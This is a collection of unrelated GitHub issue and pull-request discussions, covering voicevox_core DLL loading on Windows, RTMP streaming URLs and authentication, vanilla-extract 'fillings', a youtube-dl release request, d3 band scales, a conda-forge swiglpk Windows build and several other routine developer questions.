voicevox_core python api - dll loading - windows

質問の内容
sorry for posting in english (I don't speak japanese yet)
The problem:
The python api loads onnxruntime.dll from current directory. I got it working after copying onnxruntime_providers_shared.dll and onnxruntime.dll in the example/python/ directory.
But, only CPU mode works, GPU mode fails with the following error
Traceback (most recent call last):
  File "C:\Users\chach\git\voicevox_core\example\python\run.py", line 78, in <module>
    main()
  File "C:\Users\chach\git\voicevox_core\example\python\run.py", line 33, in main
    core.load_model(SPEAKER_ID)
voicevox_core.VoicevoxError: modelデータ読み込みに失敗しました (C:\Users\chach\AppData\Local\Programs\Python\Python310\lib\site-packages\voicevox_core\model\d0.bin): Failed to create session options: Error calling ONNX Runtime C function: D:\a\_work\1\s\onnxruntime\core\session\provider_bridge_ort.cc:1106 onnxruntime::ProviderLibrary::Get [ONNXRuntimeError] : 1 : FAIL : LoadLibrary failed with error 126 "" when trying to load "C:\Users\chach\git\voicevox_core\example\python\onnxruntime_providers_cuda.dll"

copying onnxruntime_providers_cuda.dll in the run.py directory doesn't help either:
Traceback (most recent call last):
  File "C:\Users\chach\git\voicevox_core\example\python\run.py", line 8, in <module>
    import voicevox_core
  File "C:\Users\chach\AppData\Local\Programs\Python\Python310\lib\site-packages\voicevox_core\__init__.py", line 1, in <module>
    from . import _load_dlls  # noqa: F401
  File "C:\Users\chach\AppData\Local\Programs\Python\Python310\lib\site-packages\voicevox_core\_load_dlls.py", line 16, in <module>
    CDLL(str(Path(dll).resolve(strict=True)))
  File "C:\Users\chach\AppData\Local\Programs\Python\Python310\lib\ctypes\__init__.py", line 374, in __init__
    self._handle = _dlopen(self._name, mode)
FileNotFoundError: Could not find module 'C:\Users\chach\git\voicevox_core\example\python\onnxruntime_providers_cuda.dll' (or one of its dependencies). Try using the full path with constructor syntax.

would it be possible to load the required dlls from PATH ?
would it be possible to bundle required dlls in the .whl like pytorch does ?

VOICEVOXのバージョン
voicevox_core  cloned 3/19/2023
OSの種類/ディストリ/バージョン

[x] Windows
[ ] macOS
[ ] Linux

なるべく詳しく書いてください 記述例:

Windows 10 Home x86_64 (21H2 | 19044.2728)
python 3.10
onnxruntime 1.14.1 cuda

その他

voicevox_core depends on ONNX Runtime 1.13.1. Could you download this and use the onnxruntime DLLs in it?
voicevox_core-windows-x64-cuda-0.14.1.zip
And one more thing, We also provide DirectML version of voicevox_core. This is primarily supported version for Windows.
voicevox_core-0.14.1+directml-cp38-abi3-win_amd64.whl
voicevox_core-windows-x64-directml-0.14.1.zip

would it be possible to load the required dlls from PATH ?

Well, AFAIR, DLLs in %PATH% are automatically resolved and loaded on Windows. Aren't they loaded?

would it be possible to bundle required dlls in the .whl like pytorch does ?

Unfortunately, We decided (didn't we? @Hiroshiba) not to bundle ORT DLLs at least directly because they are too large to upload to PyPI.

I got everything working by modifying the _load_dlls.py file.
The dlls in the path were NOT loaded by the provided file.
this is the one I'm now using :
import glob
import platform
from ctypes import CDLL
from pathlib import Path

import os
from ctypes.util import find_library
from pathlib import Path
from os import getenv

PATH = getenv("PATH")
PATHS = [path for path in PATH.split(
    ";") if path != "" and os.path.exists(path)]

for path in PATHS:
    if os.path.exists(f"{path}\\onnxruntime.dll") and "system32" not in path:
        print(f"{path=}")
        CDLL(f"{path}\\onnxruntime.dll")
    else:
        os.add_dll_directory(path)

# if platform.system() == "Windows":
#     pathname = "*.dll"
# elif platform.system() == "Darwin":
#     pathname = "*.dylib"
# elif platform.system() == "Linux":
#     pathname = "*.so.*"
# else:
#     raise RuntimeError("Unsupported platform")

# for dll in glob.glob(pathname):
    # CDLL(str(Path(dll).resolve(strict=True)))

lib_file_names = [
    "torch_cpu.dll",
    "torch_cuda.dll",
    "DirectML.dll",
]

for dll in lib_file_names:
    CDLL(find_library(dll))


how to update apps ?

Hi, installed scoop in order to download 'croc' file sharing app. As I'm not too familiar with CLI terminal windows, which is the proper cmd to update this app ? 'croc upgrade' or must i run 'install croc' again ?

execute command scoop help or visit the project wiki.


Uncaught ReferenceError: ellipsis is not defined

I'm attempting to truncate a paragraph with the class "carousel-item-description" to 3 lines, and add some options, but I continuously get the following error:
Uncaught ReferenceError: ellipsis is not defined
ellipsis('.carousel-item-description', 3, {replaceStr: '...', responsive: true, debounceDelay: 100});
How is the above call incorrect?

Hi @Murphy1976, the function call is correct.
How did you imported the library? In this section of the README are shown several methods, which did you used?

Hi @Murphy1976, are you still having issues? May I help you?
Otherwise, I'd like to close this.


Add some parameters to the URL

How can I add some parameters to the URL, similar to how OBS software can set some parameters before starting live.

Hello,
I'm not sure what do you want to do with test=qwer. But that seems to be an app name so you can try this way:
rtmp://<IP_ADDRESS>:1935/live?test=qwer/123456

In this library the equivalent to OBS is write both textbox contactenated by an "/"

Hello,
I'm not sure what do you want to do with test=qwer. But that seems to be part of an app name so you can try this way:
rtmp://<IP_ADDRESS>:1935/live?test=qwer/123456

In this library the equivalent to OBS is write both textbox concatenated by an "/"
okay！
What I mean is to add some parameters to the URL so that they can be captured on your own server for verification

Hello,
I'm not sure what do you want to do with test=qwer. But that seems to be part of an app name so you can try this way:
rtmp://<IP_ADDRESS>:1935/live?test=qwer/123456

In this library the equivalent to OBS is write both textbox concatenated by an "/"

Hello!
If I use this method for live streaming, which URL should I use for playback in VLC media player? I have tried many URLs but cannot find the live streaming URL

The same URL:
rtmp://<IP_ADDRESS>:1935/live?test=qwer/123456
Anyway, If you don't need test=qwer. I recommend you remove it from both, stream and vlc:
rtmp://<IP_ADDRESS>:1935/live/123456
If you need it, commonly I see this type of custom parameters to the end of the URL:
rtmp://<IP_ADDRESS>:1935/live/123456?test=qwer

If the same URL is used, wouldn't it expose these parameters?

The same URL: rtmp://<IP_ADDRESS>:1935/live?test=qwer/123456
Anyway, If you don't need test=qwer. I recommend you remove it from both, stream and vlc: rtmp://<IP_ADDRESS>:1935/live/123456
If you need it, commonly I see this type of custom parameters to the end of the URL: rtmp://<IP_ADDRESS>:1935/live/123456?test=qwer

The same URL: rtmp://<IP_ADDRESS>:1935/live?test=qwer/123456
Anyway, If you don't need test=qwer. I recommend you remove it from both, stream and vlc: rtmp://<IP_ADDRESS>:1935/live/123456
If you need it, commonly I see this type of custom parameters to the end of the URL: rtmp://<IP_ADDRESS>:1935/live/123456?test=qwer

Do you know how to authenticate nginx+RTMP

Yes, instead of the typical ffmpeg url:
rtmp://user:pass@<IP_ADDRESS>:1935/live/123456

Set the url without user pass:
rtmp://<IP_ADDRESS>:1935/live/123456

And use setAuthorization any time before startStream:
yourStreamObject.getStreamClient().setAuthorization("user", "password")

If the same URL is used, wouldn't it expose these parameters?

The same URL: rtmp://<IP_ADDRESS>:1935/live?test=qwer/123456
Anyway, If you don't need test=qwer. I recommend you remove it from both, stream and vlc: rtmp://<IP_ADDRESS>:1935/live/123456
If you need it, commonly I see this type of custom parameters to the end of the URL: rtmp://<IP_ADDRESS>:1935/live/123456?test=qwer

Yes, if you set custom parameters in the url. That parameters are exposed if you don't have a custom server implementation that receive parameters and create other output url without parameters.
Anyway, the stream with rtmp (without ssl) is totally clear for a MITM (man in the middle) attack.
If you want set parameters supported by the protocol by default (like auth) let me know the parameter and I can tell you if it is supported in this library

The same URL: rtmp://<IP_ADDRESS>:1935/live?test=qwer/123456
Anyway, If you don't need test=qwer. I recommend you remove it from both, stream and vlc: rtmp://<IP_ADDRESS>:1935/live/123456
If you need it, commonly I see this type of custom parameters to the end of the URL: rtmp://<IP_ADDRESS>:1935/live/123456?test=qwer

Do you know how to authenticate nginx+RTMP

Yes, instead of the typical ffmpeg url:
rtmp://user:pass@<IP_ADDRESS>:1935/live/123456

Set the url without user pass:
rtmp://<IP_ADDRESS>:1935/live/123456

And use setAuthorization any time before startStream:
yourStreamObject.getStreamClient().setAuthorization("user", "password")

Does RTMP have authentication services? How to set up RTMP server

I don't understand you. RTMP protocol support auth but this also depend of your server (maybe it is not implemented).
How to configure the server to allow auth should be ask to the server developers. I can't help you with server configurations

All right

我不明白你的意思。RTMP 协议支持身份验证，但这也取决于你的服务器（可能没有实现）。 如何配置服务器以允许身份验证应该询问服务器开发人员。我无法帮助你进行服务器配置


Feature/fillings

As previously discussed with @mattcompiles @michaeltaranto and @okonet here's a PR for Fillings.
As mentioned in docs Fillings are meant to be "dynamic equivalent of Sprinkles, where user is free to specify any value to the properties" - thanks to the usage of CSS variables under the hood.

@graup I used to do something similar with css variables through a util:
export const createCSSVar = () => {
  const variable = createVar();
  const name = /var\((.*)\)/.exec(variable)?.[1] as string;

  return {
    variable,
    name,
  };
};

That way I was able to pass the variable part as a value to any style/recipe declaration and configure it later through name.
export const color = createCSSVar();

export const menuRecipe = recipe({
  base: {
    color: color.variable,
  },
  variants: {
    size: {
      red: {
        [color.name]: vars.colors.red,
      },
      blue: {
        [color.name]: vars.colors.blue,
      },
      green: {
        [color.name]: vars.colors.green,
      },
    },
  },
});

But in theory, nothing would stop us from supporting CSSVarFunction types natively in fillings the way you described 👍

This looks neat! Exciting to see a first-party solution for dynamic Sprinkles. I'm curious if there was consideration to bake in support for predefined values or theme vars? I recently open-sourced Rainbow Sprinkles, and it includes the option for providing vars. Is it possible to define properties in both sprinkles and fillings and use those functions together? (Some predefined utility classes from sprinkles, as well as accepting dynamic values from fillings)

This looks neat! Exciting to see a first-party solution for dynamic Sprinkles. I'm curious if there was consideration to bake in support for predefined values or theme vars? I recently open-sourced Rainbow Sprinkles, and it includes the option for providing vars. Is it possible to define properties in both sprinkles and fillings and use those functions together? (Some predefined utility classes from sprinkles, as well as accepting dynamic values from fillings)

Interesting approach :) I wonder what use cases did you have that required specification of both pre-defined and dynamic values for css props?

I'm curious if there was consideration to bake in support for predefined values or theme vars?

In general, the way we use it in our team (not VS/Seek) - when we need to pass one of predefined CSS variables/theme vars - to fillings based props is:
import { vars } from 'styles-package';

// 'red.500' is one of the colors from theme
<Box color="red.500" maxWidth={vars.spacing.lg}>Content</Box>

Note. Box is a component that utilizes both fillings and sprinkles for different props at once, where fe. color prop is sprinkle based and maxWidth is fillings based
You essentially can pass one of the necessary theme vars directly to fillings based prop. That way we keep those APIs separate - sprinkles are really great for properties we want to keep as standard as possible (fe. color, padding, etc) - and only utilize fillings for those that are dynamic in their nature (maxWidth, gridTemplateAreas, etc)

as I was more focused on aligning with the styled-system API that uses string values.

I think this is the most controversial decision of styled-system that leads to unpredictable results.
One approach that worked for me previously was to separate styled props and custom (dynamic) CSS using a separate prop (css). This prop would allow passing any CSS object to the CSS-in-JS library of choice. I don't know if it's possible to do without the lib but as a last resort I can imagine style could work as this API is meant for one-off usages anyways.
The approach with importing constants from theme seems like a better one to me since it's more explicit.

I think this is the most controversial decision of styled-system that leads to unpredictable results.
One approach that worked for me previously was to separate styled props and custom (dynamic) CSS using a separate prop (css). This prop would allow passing any CSS object to the CSS-in-JS library of choice. I don't know if it's possible to do without the lib but as a last resort I can imagine style could work as this API is meant for one-off usages anyways.
The approach with importing constants from theme seems like a better one to me since it's more explicit.

Can you expound on what the unpredictable results are? I get how you could have name conflicts between named CSS colors and color variables, and that can be confusing for some users. Are you also thinking in terms of supporting non-standard values within a design system? (If so, I agree that this depends on the needs and guidelines of the design system and the needs of its users.) I also think it's interesting to think about moving custom values to a separate prop—this could be useful as a design system team to track custom values, and make it clear to consumers when they're deviating from the system.
@rafal2228

I would disagree here - realistically speaking you will end up using a small subset of all possible values - those could be handled with sprinkles. For the rest of snowflake occurances I would opt-in for either - native style API or creation of custom .css.ts files

The difference in size doesn't really speak to me - it's a tradeoff of generating more classes vs passing values in javascript (which has to be done in both cases, but with classes you get less imports).

When it comes to size, I mean the overall number of bytes shipped in the CSS bundle vs the bytes shipped in the document for adding a CSS class and inline style for each property/value.
From a design system team perspective (we built rainbow sprinkles for our design system), we were frequently getting questions about expanding the API for supported values, and were frequently running up against an ever-growing stylesheet. For example, we have design tokens for several dozen colors. A long while ago we had a Box component built with static CSS, and we were very conservative with which colors we supported in order to reduce the CSS bundle size. But then we consistently had to engage in conversations about adding support for new colors and weight the bundle size trade-offs for adding it. Being able to support all color tokens via a dynamic API could resolve this issue without having to change the API for consumers. They don't have to know whether a value is dynamic or not, the API remains the same (e.g., color="blue200" could be a static utility class or a dynamic value).

However I understand that you might prefer the API where a subset of theme is available to you via simple string and I believe this could be done on top of fillings. You can write a function (on the client side), that would inspect passed props and if value of any fillings based prop is a key of theme, you could simply pass the value from the theme.

This totally makes sense! And not something I had considered when building out rainbow sprinkles. I now see that it would make sense for an "official" library to be as simple as possible, and let this functionality be composed by the consumers that want it.
I appreciate both of your perspectives, and there's a lot here for me to consider!

This is super awesome! Not only to see people creating libraries on top of vanilla-extract's core, but also seeing these great discussions on how best to approach CSS architecture in design systems.
Seeing @roginfarrer's Rainbow Sprinkles approaching this problem in a different way has got me thinking about how we handle external libraries in the ecosystem going forward. While I really want to highlight these libraries on the main vanilla site, I also don't want to cause confusion with users or play favourites with other libraries that are not promoted to the core repo.
I know we originally suggested moving fillings into the main repo, but after thinking about it more I feel like maybe the library would be better served living separately. That way you can iterate on the API as you see fit. I'm very happy to give feedback (I have added some on this PR) however I think this API is your vision and you're the best one to own it.
That still leaves the issue of promoting these external libraries though. I'm thinking we should add a community libraries section to the site to allow other libraries to showcase their APIs to vanilla-extract users.
@rafal2228 What are your thoughts? If you disagree that's fine, I'm happy to hear your thoughts on this. 😄

I think as long as others will be able to use fillings both approaches will be good :) Our main goal at the end of the day is to contribute back to the community that gave us such great tools like vanilla extract. That said - I totally understand there might be different approaches to creation of design systems and your reluctance to play favorites :) We'll continue to develop fillings as our internal project for now then - we're planning on open-sourcing a bit more things later this year - but for now we don't have a setup for package publishing in our repositories.
It would be great to have fillings listed in 3rd party plugins list one day :)

Closing in favor of releasing fillings as a standalone plugin for VS


RELEASE PLEASE

Checklist

[x] I'm asking a question
[x] I've looked through the README and FAQ for similar questions
[x] I've searched the bugtracker for similar questions including closed ones

Question
last release was in december last year, and that was before the code to circumvent the yt bandwidth throttling was merged. a release is direly needed so distros can update to the current codebase.

https://github.com/ytdl-org/youtube-dl/issues/28859#issuecomment-1158188788 applies.

use this
https://github.com/ytdl-patched/youtube-dl/releases

use yt-dlp. They released 9 days ago.

use yt-dlp. They released 9 days ago.

i'm aware of yt-dlp, but i prefer youtube-dl because it works with python2.

use yt-dlp. They released 9 days ago.

because it works with python2.

What's the point ? You can install Py3 easily.

You can install Py3 easily.

not everyone uses ubuntu. when you have to compile python3 from source, it's no longer that easy. also the question is whether you want to waste your resources for 2 different python installs, when everything else you need works with python2. (hint: i don't want that). anyway, this is not the place to advertise yt-dlp.

this has latest release
https://github.com/ytdl-patched/youtube-dl/releases

You can install Py3 easily.

not everyone uses ubuntu. when you have to compile python3 from source, it's no longer that easy. also the question is whether you want to waste your resources for 2 different python installs, when everything else you need works with python2. (hint: i don't want that). anyway, this is not the place to advertise yt-dlp.

Shouldn't use a distro you can't be bothered to use. There's Miniconda3, which makes envs with specific Python versions pretty easy, doing all the work for you.

Shouldn't use a distro you can't be bothered to use.

check my profile, i make my own linux distro - and you forgot to look into the main point i raised, mainly that i dont want to waste precious hdd space to install python3 just for a single app. before you continue arguing in favor of "just use python3 dude" you probably also should read my essay related to it.
anyway, again, this is youtube-dl issue tracker which explicitly supports python2; so any argumentation in favor of using a fork which drops python2 support is not on topic.

this has latest release
https://github.com/ytdl-patched/youtube-dl/releases

when you have to compile python3 from source, it's no longer that easy

Use the standalone binary, and then you don't have to install Python 3

this has latest daily release but no linux
https://github.com/ytdl-patched/youtube-dl/releases

@afterdelight I was talking about yt-dlp's standalone binary, sorry for not being clear enough, I have edited my original message.

@afterdelight thanks for the ytdl-patched linked, it took me a while to scrutinize the repo in order to figure out whether it can be trusted. this is also the main issue with it: it's not official, and it would be highly preferable if @dirkf can be bothered to finally roll a release, or at least copy/paste the github action that does it manually from that link.
@ anyone else: could you please finally stop with your "just use yt-dlp bro" talk ? thanks.

i used this version for a long time and it doesnt have any problem, so you may try it
https://github.com/ytdl-patched/ytdl-patched

@afterdelight ytdl-patched/ytdl-patched is a fork of yt-dlp, and @rofl0r doesn't want to use yt-dlp. ytdl-patched/youtube-dl, which you sent before, seems to be what OP was looking for.

it took me a while to scrutinize the repo in order to figure out whether it can be trusted

The ytdl-patched repo is created by Lesmiscore, who is a yt-dlp collaborator. Because of that, I personally do trust the daily builds. Obviously, it's your call what to install on your computer.

or at least copy/paste the github action that does it automatically from that link

see https://github.com/ytdl-org/youtube-dl/pull/30644

@dirkf Sorry for ping but I strongly advise you to block afterdelight. Reason is obvious.

Use the standalone binary, and then you can run yt-dlp without installing/compiling Python 3 :)

Provided that a binary is available for your machine architecture ...

???

@dirkf Sorry for ping but I strongly advise you to block afterdelight. Reason is obvious.

???

Provided that a binary is available for your machine architecture ...

not only that, even a libc difference makes a precompiled binary unusable (unless everything is statically linked). in my case i use musl libc, not glibc.

ok

https://github.com/ytdl-org/youtube-dl/issues/31190

I just tried the latest release from that ytdl-patched page and it doesn't work. It runs, it'll print the help or the version info, but when I try to actually use it with an URL, it just dumps an unending stream of what looks like source code to the window.
Here's a sample;
"Kva=function(a,b,c){return b=b.filter(function(d){if(d.video.j<=a.zc)return!0;c[d.itag]="maxquality";return!1})};IB=function(a){return Pk(a,function(b,c){return Math.max(b,c.video.j)},0)};Wva=function(a){a=void 0===a?{}:a;var b=void 0===a.Om?!1:a.Om,c=void 0===a.defraggedFromSubfragments?!1:"
That went on for about 30 pages before I canceled it. I tried a few others from August and got the same result. I then went back to July 1st, and that one technically worked. It printed a paragraph of crap at the start, but it did function. Unfortunately, it had no advantage that I could see over the last official release from Dec. 17th, 2021. It downloaded at a glacial speed and wouldn't download age-restricted videos.
Am I doing something wrong, or have these patched versions not been patched to bypass YouTube's throttling and the age restrictions? And why do the latest versions just print garbage?

Try the version that includes https://github.com/ytdl-org/youtube-dl/commit/55c823634db890a328ffc23588fcd6f35d9b3ddf.
For age-restricted, you need PR #31043.

I just tried the latest release from that ytdl-patched page and it doesn't work.

Try the version that includes https://github.com/ytdl-org/youtube-dl/commit/55c823634db890a328ffc23588fcd6f35d9b3ddf.

Unfortunately, the latest release there hasn't got that merged...
@Rekrullurker should exercise some patience until the new release 2022.09.02.x has been produced - should be a matter of  a few hours... 😄

Just tried version 2<IP_ADDRESS>0. OK, it works...
Doesn't download any faster, doesn't download age restricted videos.
I don't mean to sound ungrateful, but what's being patched, if not these issues?

I just tried the latest release from that ytdl-patched page and it doesn't work. It runs, it'll print the help or the version info, but when I try to actually use it with an URL, it just dumps an unending stream of what looks like source code to the window.
Here's a sample;
"Kva=function(a,b,c){return b=b.filter(function(d){if(d.video.j<=a.zc)return!0;c[d.itag]="maxquality";return!1})};IB=function(a){return Pk(a,function(b,c){return Math.max(b,c.video.j)},0)};Wva=function(a){a=void 0===a?{}:a;var b=void 0===a.Om?!1:a.Om,c=void 0===a.defraggedFromSubfragments?!1:"
That went on for about 30 pages before I canceled it. I tried a few others from August and got the same result. I then went back to July 1st, and that one technically worked. It printed a paragraph of crap at the start, but it did function. Unfortunately, it had no advantage that I could see over the last official release from Dec. 17th, 2021. It downloaded at a glacial speed and wouldn't download age-restricted videos.
Am I doing something wrong, or have these patched versions not been patched to bypass YouTube's throttling and the age restrictions? And why do the latest versions just print garbage?

try earlier version, sometimes newest commit bugged the program.

If anyone has an issue with the latest master, please open an issue with the usual supporting information. However in this case it looks like YT is sending new player 5a3b6271 and yt-dl is confused.

If anyone has an issue with the latest master, please open an issue with the usual supporting information. However in this case it looks like YT is sending new player 5a3b6271 and yt-dl is confused.

This seems indeed the case with the latest youtube-dl master, as well as yt-dlp...
See:
https://github.com/yt-dlp/yt-dlp/issues/4635#issuecomment-1235203263

have you try yt-dlp version?
https://github.com/ytdl-patched/ytdl-patched/releases

I didn't want to get into this, but I have an OLD computer, running an OLD version of Windows, and yt-dlp doesn't work, because Python 3 doesn't work on it. Until I can afford to get a newer system, YouTube-DL is the only thing I can use.

I don't mean to sound ungrateful, but what's being patched, if not these issues?

Nothing, it just shares a Github account with another program named ytdl-patched

have you try yt-dlp version?
https://github.com/ytdl-patched/ytdl-patched/releases

that's not yt-dlp. https://github.com/yt-dlp/yt-dlp and https://github.com/ytdl-patched/yt-dlp are yt-dlp

I have an OLD computer, running an OLD version of Windows

Out of interest, which version of Windows is it?

@dirkf PLEAAAAAAAAAAAAAAAAAAAAASE BLOCK AFTERDELIGHT FROM THIS ISSUE
They're getting an extreme noise to my hobby project

PLEAAAAASE provide official releases so this can be closed finally.

Continued in #31585.


Migrating a Xamarin Forms app:   HybridWebView

Is anyone able to translate this Xamarin Forms document to MAUI for the creation of a HybridWebView?
https://learn.microsoft.com/en-us/xamarin/xamarin-forms/app-fundamentals/custom-renderer/hybridwebview
Thank you!

Hi @mtanml
@eilon has produced a HybridWebView. Check it out at https://github.com/Eilon/MauiCSharpInteropWebView

@davidbritch @Eilon nice, thank you!


Scale Band produces incorrect range starting point with rounding

It seems that the scaleBand produces a wrong starting points for scales with domains of > 10 items and rounding turned on.
Example:
var scale = d3.scaleBand().domain(d3.range(92)).rangeRound([25,1475])
scale(0) // produces 60, when 25 is expected

while:
var scale = d3.scaleBand().domain(d3.range(10)).rangeRound([25,1475])
scale(0) // produces 25

It seems that the disconnect starts gradually happening with domain of more than 10 items. I've attempted using multiple range values with the same effect observed.

This is the expected behavior. The issue is that rounding requires rounding down so that all of the bands fit in the available range. If you have many bands, there is leftover space as a result of rounding down. By default this extra space is distributed equally on either side of the bands; you can change how this space is distributed using band.align.
To illustrate, the top-oriented axis is without rounding, and the bottom-oriented axis is with rounding:

The bandwidth prior to rounding is approximately 15.76px. This is rounded down to 15px. That leaves 0.76px * 92 = ~70px of extra space due to rounding, which is then distributed evenly on either side of the bands with the default align of 0.5. Hence scale(0) returning 25 + 70 / 2 = 60.
This is less apparent when there are fewer bands because the extra space introduced by rounding is diminished.

Thanks for the explanation. Using band.align with value 0 fixed the issue.


Could not get unknown property 'BINTRAY_USER' for object of type com.novoda.gradle.release.PublishExtension.

Hi,
I cloned the project repository and I am getting the error "Could not get unknown property 'BINTRAY_USER' for object of type com.novoda.gradle.release.PublishExtension."
Please help me to resolve it.

Comment out the publish block and 'com.novodo.bintray-release' plugin. It will run.

Sorry I am just a beginner, what do you mean Comment out the publish block ?
Can you tell me how to do it exactly?

Comment that line --> apply plugin: 'com.novoda.bintray-release' then build and run it is work on

I'm facing ->>Could not find method publish() for arguments [build_754hkn4iq195vfx4ctvb0v6yc$_run_closure2@20b98a99] on project ':richeditor' of type org.gradle.api.Project.
<<- this Issue after applying above solution

after commenting 'com.novodo.bintray-release' sync project.
then, comment block //
//publish {
//  userOrg = POM_DEVELOPER_ID
//  groupId = GROUP
//  artifactId = ARTIFACT_ID
//  publishVersion = VERSION_NAME
//  desc = POM_DESCRIPTION
//  website = POM_URL
//  bintrayUser = BINTRAY_USER
//  bintrayKey = BINTRAY_API_KEY
//  autoPublish = false
//}
sycn again

i am still having the same error, i have commented out the publish block and the plugin,....still the same thing what can be done guys


Automated RDS Instance Restore from Backup/Snapshot

What happened?

We tried creating an RDS Instance and inserted data into it. Then, we deleted the RDS Instance using AWS Console. The RDS Instance got reconciled but there was no data which was previously there.
We also tried restoring an RDS Instance from an on deletion snapshot and from a backup as well using restoreFrom object available in RDS Instance CRD. This is currently supported manually. Can you please let us know how can we automate this process of restoration from the backup?
If there is an option to automate this process where Crossplane can recreate the RDS Instance with the previous data either from the on delete snapshot or from the automated backup, it would help us a lot. Attached below is the YAML script for restoring RDS from Snapshot.

How can we reproduce it?

Create an RDS Instance with on deletion snapshot/automated backups configured.
Insert data into it.
Delete the RDS Instance from the AWS Console.
Verify the RDS Instance being reconciled without the data.

What environment did it happen in?
Universal Crossplane Version: v1.1.11

Cloud provider or hardware configuration: AWS
Provider version: v0.37.1

Hello community,
Can you please provide a solution to the problem mentioned above? This has been a blocker for us and can't move forward with it.
Thank you


Enable build on windows

Checklist

[x] Used a personal fork of the feedstock to propose changes
[x] Bumped the build number (if the version is unchanged)
[ ] Reset the build number to 0 (if the version changed)
[ ] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[ ] Ensured the license file is being packaged.

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.
I do have some suggestions for making it better though...
For recipe:

License is not an SPDX identifier (or a custom LicenseRef) nor an SPDX license expression.

Documentation on acceptable licenses can be found here.

@conda-forge-admin, please rerender

Let me know if there is anyway I can help with this.

@conda-forge-admin, please rerender

@conda-forge-admin, please restart ci

sorry this slipped between the cracks... seems it trying to use gcc so I need to take a look at the upstream code.

This is blocking me from making a cobrapy conda-forge package. Would love to help move this along.

I guess the key elements are in https://github.com/biosustain/swiglpk/blob/master/appveyor.yml and https://github.com/biosustain/swiglpk/blob/master/appveyor/build_glpk.py so there may need to be a separate install script for windows.

@Midnighter I'm not very conda savy, but i think you mean we need a build.sh and build.bat. I guess the content of build.sh would be
#!/bin/bash
alias gcc="${CC}";
$PYTHON -m pip install . --no-deps -vv

Can someone deduce from the appveyor file how the build.bat could look like?

Hmm, I played around with this recipe for a while on a Windows system and I think the swiglpk setup is simply not very friendly. I am tempted to create a whole new package based on CFFI rather than SWIG but I seriously lack time at the moment. Would also have to make sure that optlang will be happy with the changes so it's quite an effort.

There is some custom code added as well that would need to be ported.

Are you referring to https://github.com/biosustain/swiglpk/blob/db54754a47f7d4748fe87e590390e6036343dc6e/setup.py#L34-L42 since that seems to be SWIG specific I was hoping the problem would simply go away with CFFI :stuck_out_tongue:

Do you have a branch with your attempts?

No, I just made some local attempts on a Windows machine to install swiglpk from the source package but I did not succeed even when installing GLPK from conda-forge. Since swiglpk already loads GLPK and GMP in its package build phase, I think it should simply redistribute those source files for the swiglpk sdist. Then there would be no need to provide those again.

Conda-forge does have a MSVC setup and make so it should work with similar steps as on app store. If the build_glpk.py is the problem we could also try with the conda package for that.

That is good to know. I simply downloaded https://files.pythonhosted.org/packages/0e/c9/9b0ec3e2ca942b6d067e84e52d72818fa9c3a1a1524671fcbec4841b54b2/swiglpk-4.65.1.tar.gz since that is what the conda-forge build process does. You will see that there is no build_glpk.py in the archive. That's why I think the way to go would be to include GLPK and GMP sources.

Thanks for the quick reply. with custom code I was referring to https://github.com/biosustain/swiglpk/blob/master/swiglpk/glpk.i#L70-L184 which gets the primals and duals. This is not part of the standard glpk.
I agree that it should use the libs from conda for glpk. I think gmp is statically linked into glpk so we should not have to worry about it. You probably have to add some fixes since the swiglpk setup.py assumes the wrong locations for glpk.h and glpk.lib for conda. The glpk conda-forge package comes with a test python package that shows where all of that should be found (https://github.com/conda-forge/glpk-feedstock/blob/master/recipe/setup.py). So one would either have to adjust the swiglpk.py to use those locations when building on conda-forge or maybe it would be enough to just copy those files to the required locations before build. Happy to help out or look over error messages.

Happy to help out or look over error messages.

Since this is blocking a cobrapy conda-forge package and I don't have regular access to a Windows machine, I'd appreciate any help that you can lend on this topic.

@conda-forge-admin, please rerender

Hi! This is the friendly automated conda-forge-linting service.
I was trying to look for recipes to lint for you, but it appears we have a merge conflict.
Please try to merge or rebase with the base branch to resolve this conflict.
Please ping the 'conda-forge/core' team (using the @ notation in a comment) if you believe this is a bug.


Support signing json protobuf for Harmony/Zilliqa/Solana/Algorand

Would it be possible to support json signing for all chains?  (all with AnySign)

Not all chains implement AnySigner.signJSON method, we could do all non utxo chains

Would be nice to have support for signJSON method for all chains, it should be trivial to add this.


Fix bug in calculation of user's favorite naming

Delivers https://www.pivotaltracker.com/story/show/124224561
This bug happened when:

A user changed his vote for one naming to a lower value, and
That change resulted in another naming(s) have the highest positive value for that user.
In those circumstances MO would not recognize the other naming(s) as the user's favorite.
So if the user owned the Observation, then the Big Eyes would disappear, and Observer Preference would be calculated incorrectly.

The PR

re-enables ObserverTest#test_vote_favorite, fixing bugs in the test itself
fixes the problem in Observer#change_name which problem is exposed by the re-enabled test

change_vote now checks to see if other vote(s) should become the user's favorite(s).

re-factors ObserverTest#test_vote_favorite.

Manual Test Script

Create Observation with 3 Proposed Names:

A with confidence "I'd Call It That"
B, with confidence "Promising"
C, with confidence "Could Be"

Edit A to make its confidence "Could Be"
Result: The "big eyes" should appear next to B. (In master, they disappear. )

Other
It might be convenient to review this PR by stepping through the commits.

Coverage increased (+0.02%) to 87.879% when pulling 062fa07dd806cafdda0f0529200d4bafbe085fbc on JoeCohen:fix-user-favorite into 156a8daefdb54d5fe5a0f6d68f18be03f96620d3 on MushroomObserver:master.

Looks good, just that one test stub which I think you'd intended to fill out but lost track of.

Just pushed the deletion.

Coverage increased (+0.04%) to 87.896% when pulling 44297eb6bc49de506f19450e7cb51b1ce2cc9f27 on JoeCohen:fix-user-favorite into 156a8daefdb54d5fe5a0f6d68f18be03f96620d3 on MushroomObserver:master.


Improve progress bar aspect

This patch improve the progress bar aspect and experience

Does it work in neo-gui console window?

I will test it

Now it's compatible

Wow, looks great. Let me have a test now.

@shargon Good work Shargon. Looks so nice for progress display. It works well.

I just made a little adjustment since I think block info is really important to display especially when making bootstrap package.

Thanks you @superboyiii for your review! Did you tested neo-gui console?

Thanks you @superboyiii for your review! Did you tested neo-gui console?

I tried it on neo-gui just now, find an issue: When  making exprt blocks or import key, if the number of WIF is a little big (100 lines), a conflict will exist in Application.ThreadContext.RunMessageLoop which makes illegal value.

Could you create a issue for this? I think that it's not related tu this PR

Could you create a issue for this? I think that it's not related tu this PR

Is it necessary to test and fix it on current GUI repo since we are designing and developing a new Neo-GUI?

Is it necessary to test and fix it on current GUI repo since we are designing and developing a new Neo-GUI?

